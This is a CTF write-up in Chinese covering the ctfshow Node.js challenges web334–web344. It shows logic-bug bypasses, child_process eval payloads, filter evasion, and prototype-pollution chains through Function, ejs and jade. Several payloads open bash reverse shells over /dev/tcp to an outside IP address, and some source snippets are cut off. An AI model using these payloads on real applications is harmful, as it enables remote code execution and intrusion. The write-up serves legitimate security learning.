web334(toUpperCase)
1  | #user.js  | 
1  | #login.js  | 
存在逻辑漏洞
1  | return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;  | 
用小写用户名登陆
1  | ctfshow  | 
web335(child_process)
查看源代码
1  | <!-- /?eval= -->  | 
eval在nodejs中也是可以将参数当作nodejs代码执行的,和php类似
1  | eval(console.log(require("child_process").execSync("whoami").toString()));  | 
payload
1  | ?eval=require("child_process").execSync("cat f*").toString()  | 
web336(exec过滤)
和上题基本类似,只是过滤了’exec’;
可以用+拼接绕过
1  | ?eval=require("child_process")['exe'%2B'cSync']('ls').toString()  | 
或者用spawnSync
1  | ?eval=require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()  | 
web337(md5绕过)
给了源码
1  | var express = require('express');  | 
上面是对象,下面是数组;
1  | let a = {'x':1}  | 

payload,更准确的来讲是用对象绕过md5
1  | ?a[c]=2&b[c]=3  | 
web338(pollution)
考的原型链污染,可以看我这篇博客,
https://zixyd.github.io/2024/01/31/%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/
给了源码
1  | router.post('/', require('body-parser').json(),function(req, res, next) {  | 
其中utils.copy,就是一个原型链污染漏洞利用点
1  | function copy(object1, object2){  | 

web339(RCE)
1  | #login.js  | 
1  | #api.js  | 
由于我们并不知道flag的值,无法通过res.end(flag);来获取flag,只能通过api中的{ query: Function(query)(query)}来rce获取flag;
这种形式,只要query的值可以控制,那么就可以命令执行,query的值可以通过copy函数原型链污染控制

Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。
1  | {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/81.71.13.76/5557 0>&1\"')"}}  | 
下面这个payload是ejs低版本存在漏洞
https://blog.csdn.net/lastwinn/article/details/128914419
1  | {  | 
web340(rce)
1  | #login.js  | 
和上一题类似,user.userinfo的上一级是user,user的上一级才是原生;只需要污染两级
1  | {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"')"}}}  | 
web341(ejs)
从上一题的基础上少了api文件,那么只能用ejs的payload去打
1  | {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/81.71.13.76/5555 0>&1\"');var __tmp2"}}}  | 
web342-343(jade)
和上一题类似,只不过渲染引擎换成了jade
1  | app.engine('jade', require('jade').__express);  | 
https://www.anquanke.com/post/id/236354#h2-3
payload
1  | {"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/81.71.13.76/5556 0>&1\"');//"}}}  | 
web344(,)
1  | router.get('/', function(req, res, next) {  | 
本来是
1  | ?query={"name":"admin","password":"ctfshow","isVIP":true}  | 
但是题目过滤了逗号
1  | ?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}  | 
nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。
